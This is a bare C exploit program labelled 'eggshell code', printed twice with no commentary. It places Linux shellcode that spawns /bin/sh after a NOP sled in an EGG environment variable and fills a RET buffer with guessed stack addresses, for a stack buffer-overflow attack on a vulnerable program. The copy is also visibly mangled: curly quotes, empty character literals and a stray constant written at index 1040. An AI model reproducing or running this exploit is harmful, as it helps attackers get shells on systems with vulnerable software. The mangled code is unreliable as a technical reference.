eggshell code

#define DEFAULT_OFFSET                      0
#define DEFAULT_BUFFER_SIZE           512
#define DEFAULT_EGG_SIZE               2048
#define NOP                                      0x90
char shellcode[] =
“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”
“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”
“\x80\xe8\xdc\xff\xff\xff/bin/sh”;
unsigned long get_esp(void) {
__asm__(“movl %esp,%eax”);
}
int main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize   = atoi(argv[1]);
if (argc > 2) offset  = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf(“Can’t allocate memory.\n”);
exit(0);
}
addr = get_esp() – offset;
printf(“Using address: 0x%x\n”, addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
{
if(i == 1040)
{
*(addr_ptr++) = 0x1234567;
}
else
*(addr_ptr++) = addr;
}
ptr = egg;
for (i = 0; i < eggsize – strlen(shellcode) – 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize – 1] = ”;
egg[eggsize – 1] = ”;
memcpy(egg,”EGG=”,4);
putenv(egg);
memcpy(buff,”RET=”,4);
putenv(buff);
system(“/bin/bash”);
}

#include <stdlib.h>

#define DEFAULT_OFFSET                      0

#define DEFAULT_BUFFER_SIZE           512

#define DEFAULT_EGG_SIZE               2048

#define NOP                                      0x90

char shellcode[] =

“\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b”

“\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd”

“\x80\xe8\xdc\xff\xff\xff/bin/sh”;

unsigned long get_esp(void) {

__asm__(“movl %esp,%eax”);

}

int main(int argc, char *argv[]) {

char *buff, *ptr, *egg;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize   = atoi(argv[1]);

if (argc > 2) offset  = atoi(argv[2]);

if (argc > 3) eggsize = atoi(argv[3]);

if (!(buff = malloc(bsize))) {

printf(“Can’t allocate memory.\n”);

exit(0);

}

if (!(egg = malloc(eggsize))) {

printf(“Can’t allocate memory.\n”);

exit(0);

}

addr = get_esp() – offset;

printf(“Using address: 0x%x\n”, addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

{

if(i == 1040)

{

*(addr_ptr++) = 0x1234567;

}

else

*(addr_ptr++) = addr;

}

ptr = egg;

for (i = 0; i < eggsize – strlen(shellcode) – 1; i++)

*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize – 1] = ”;

egg[eggsize – 1] = ”;

memcpy(egg,”EGG=”,4);

putenv(egg);

memcpy(buff,”RET=”,4);

putenv(buff);

system(“/bin/bash”);

}

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